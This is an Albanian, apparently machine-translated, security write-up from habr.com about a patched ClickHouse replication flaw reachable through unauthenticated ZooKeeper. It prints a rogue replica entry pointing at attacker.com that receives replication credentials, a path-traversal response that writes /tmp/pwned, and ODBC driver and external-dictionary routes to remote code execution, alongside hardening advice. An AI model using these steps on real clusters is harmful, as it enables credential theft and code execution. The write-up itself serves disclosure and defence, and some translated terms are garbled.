Pse keni nevojë t'i mbani të mbyllura kafazet e kopshtit zoologjik?

Pse keni nevojë t'i mbani të mbyllura kafazet e kopshtit zoologjik?

Ky artikull do të tregojë historinë e një cenueshmërie shumë specifike në protokollin e riprodhimit të ClickHouse, dhe gjithashtu do të tregojë se si mund të zgjerohet sipërfaqja e sulmit.

ClickHouse është një bazë të dhënash për ruajtjen e vëllimeve të mëdha të të dhënave, më shpesh duke përdorur më shumë se një kopje. Grumbullimi dhe përsëritja në ClickHouse janë ndërtuar në krye Apache ZooKeeper (ZK) dhe kërkojnë të drejta shkrimi.

Instalimi i parazgjedhur i ZK nuk kërkon vërtetim, kështu që mijëra serverë ZK të përdorur për të konfiguruar Kafka, Hadoop, ClickHouse janë të disponueshëm publikisht.

Për të zvogëluar sipërfaqen tuaj të sulmit, gjithmonë duhet të konfiguroni vërtetimin dhe autorizimin kur instaloni ZooKeeper

Sigurisht që ka disa deserializime Java të bazuara në 0 ditë, por imagjinoni që një sulmues mund të lexojë dhe të shkruajë te ZooKeeper, i përdorur për replikimin e ClickHouse.

Kur konfigurohet në modalitetin e grupimit, ClickHouse mbështet pyetjet e shpërndara DDL, duke kaluar nëpër ZK - për ta krijohen nyje në fletë /clickhouse/task_queue/ddl.

Për shembull, ju krijoni një nyje /clickhouse/task_queue/ddl/query-0001 me përmbajtje:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

dhe pas kësaj, tabela e testimit do të fshihet në serverat e grupit host1 dhe host2. DDL gjithashtu mbështet ekzekutimin e pyetjeve CREATE/ALTER/DROP.

Tingëllon e frikshme? Por ku mund të marrë një sulmues adresat e serverit?

Replikimi i ClickHouse punon në nivelin e tabelave individuale, kështu që kur krijohet një tabelë në ZK, specifikohet një server që do të jetë përgjegjës për shkëmbimin e meta të dhënave me kopje. Për shembull, kur ekzekutoni një kërkesë (ZK duhet të konfigurohet, chXX - emri i kopjes, foobar - emri i tabelës):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

do të krijohen nyje kolona и metadata.

përmbajtje /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

A është e mundur të bashkohen të dhënat nga ky grup? Po, nëse porta e përsëritjes (TCP/9009) në server chXX-address firewall-i nuk do të mbyllet dhe nuk do të konfigurohet vërtetimi për replikim. Si të anashkaloni vërtetimin?

Një sulmues mund të krijojë një kopje të re në ZK thjesht duke kopjuar përmbajtjen nga /clickhouse/tables/01-01/foobar/replicas/chXX dhe ndryshimi i kuptimit host.

përmbajtje /clickhouse/tables/01–01/foobar/replicas/sulmues/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Pastaj ju duhet t'u tregoni kopjeve të tjera se ekziston një bllok i ri i të dhënave në serverin e sulmuesit që ata duhet të marrin - krijohet një nyje në ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX numërues në rritje monotonike, i cili duhet të jetë më i madh se i fundit në regjistrin e ngjarjeve):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ku burimi_kopje — emri i kopjes së sulmuesit të krijuar në hapin e mëparshëm, bllok_id — identifikuesi i bllokut të të dhënave, marrë - komanda "merr bllok" (dhe këtu janë komandat për operacione të tjera).

Më pas, çdo kopje lexon një ngjarje të re në regjistër dhe shkon në një server të kontrolluar nga sulmuesi për të marrë një bllok të dhënash (protokolli i replikimit është binar, funksionon në krye të HTTP). Serveri attacker.com do të marrë kërkesat:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ku XXX është të dhënat e vërtetimit për përsëritje. Në disa raste, kjo mund të jetë një llogari me qasje në bazën e të dhënave nëpërmjet protokollit kryesor ClickHouse dhe protokollit HTTP. Siç e keni parë, sipërfaqja e sulmit bëhet jashtëzakonisht e madhe sepse ZooKeeper, i përdorur për replikim, mbeti pa konfiguruar vërtetimin.

Le të shohim funksionin e marrjes së një blloku të dhënash nga një kopje, është shkruar me besim të plotë se të gjitha kopjet janë nën kontrollin e duhur dhe ka besim mes tyre.

Pse keni nevojë t'i mbani të mbyllura kafazet e kopshtit zoologjik?
kodi i përpunimit të replikimit

Funksioni lexon një listë skedarësh, më pas emrat, madhësitë, përmbajtjen e tyre dhe më pas i shkruan ato në sistemin e skedarëve. Vlen të përshkruhet veçmas se si ruhen të dhënat në sistemin e skedarëve.

Ka disa nëndrejtori në /var/lib/clickhouse (Direktoria e paracaktuar e ruajtjes nga skedari i konfigurimit):

flamuj - drejtoria për regjistrim flamuj, përdoret në rikuperimin pas humbjes së të dhënave;
tMP — drejtoria për ruajtjen e skedarëve të përkohshëm;
skedarët_përdorues — operacionet me skedarë në kërkesa janë të kufizuara në këtë direktori (INTO OUTFILE dhe të tjerët);
metadata — skedarë sql me përshkrime të tabelës;
konfigurimet e parapërpunuara - skedarët e konfigurimit të derivateve të përpunuara nga /etc/clickhouse-server;
të dhëna - direktoria aktuale me vetë të dhënat, në këtë rast për secilën bazë të dhënash krijohet thjesht një nëndrejtori e veçantë këtu (për shembull /var/lib/clickhouse/data/default).

Për secilën tabelë, krijohet një nëndrejtori në drejtorinë e bazës së të dhënave. Çdo kolonë është një skedar i veçantë në varësi të formati i motorit. Për shembull për një tryezë foobarkrijuar nga një sulmues, do të krijohen skedarët e mëposhtëm:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika pret të marrë skedarë me të njëjtët emra kur përpunon një bllok të dhënash dhe nuk i vërteton ato në asnjë mënyrë.

Lexuesi i vëmendshëm ndoshta ka dëgjuar tashmë për lidhjen e pasigurt të emrit të skedarit në një funksion WriteBufferFromFile. Po, kjo i lejon një sulmuesi të shkruajë përmbajtje arbitrare në çdo skedar në FS me të drejta përdoruesi clickhouse. Për ta bërë këtë, kopja e kontrolluar nga sulmuesi duhet t'i kthejë kërkesës përgjigjen e mëposhtme (ndërprerjet e linjës janë shtuar për lehtësinë e të kuptuarit):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

dhe pas bashkimit ../../../../../../../../../tmp/pwned dosja do të shkruhet /tmp/pwned me përmbajtje hellofromzookeeper.

Ka disa opsione për shndërrimin e aftësisë së shkrimit të skedarëve në ekzekutim të kodit në distancë (RCE).

Fjalorë të jashtëm në RCE

Në versionet e vjetra, drejtoria me cilësimet e ClickHouse ruhej me të drejtat e përdoruesit klikim shtëpie default. Skedarët e cilësimeve janë skedarë XML që shërbimi i lexon në fillim dhe më pas i ruan në memorie /var/lib/clickhouse/preprocessed_configs. Kur ndodhin ndryshime, ato rilexohen. Nëse keni akses në /etc/clickhouse-server një sulmues mund të krijojë të tijën fjalor i jashtëm lloji i ekzekutueshëm dhe më pas ekzekutoni kodin arbitrar. Versionet aktuale të ClickHouse nuk ofrojnë të drejta si parazgjedhje, por nëse serveri përditësohej gradualisht, të drejta të tilla mund të mbeten. Nëse jeni duke mbështetur një grupim ClickHouse, kontrolloni të drejtat në drejtorinë e cilësimeve, ai duhet t'i përkasë përdoruesit root.

ODBC në RCE

Kur instaloni një paketë, krijohet një përdorues clickhouse, por drejtoria e tij kryesore nuk është krijuar /nonexistent. Megjithatë, kur përdorni fjalorë të jashtëm, ose për arsye të tjera, administratorët krijojnë një direktori /nonexistent dhe jepini përdoruesit clickhouse qasje për të shkruar në të (SSZB! përafërsisht. përkthyes).

ClickHouse mbështet ODBC dhe mund të lidhet me baza të tjera të dhënash. Në ODBC, mund të specifikoni shtegun për në bibliotekën e drejtuesve të bazës së të dhënave (.so). Versionet më të vjetra të ClickHouse ju lejuan ta bëni këtë direkt në mbajtësin e kërkesave, por tani është shtuar një kontroll më i rreptë i vargut të lidhjes odbc-bridge, kështu që nuk është më e mundur të specifikohet shtegu i drejtuesit nga kërkesa. Por a mund të shkruajë një sulmues në drejtorinë kryesore duke përdorur cenueshmërinë e përshkruar më sipër?

Le të krijojmë një skedar ~/.odbc.ini me përmbajtje si kjo:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

pastaj në fillim SELECT * FROM odbc('DSN=lalala', 'test', 'test'); biblioteka do të ngarkohet test.so dhe mori RCE (faleminderit buglloc për majën).

Këto dhe dobësi të tjera janë rregulluar në versionin 19.14.3 të ClickHouse. Kujdesuni për ClickHouse dhe ZooKeepers tuaj!

Burimi: www.habr.com

Shto një koment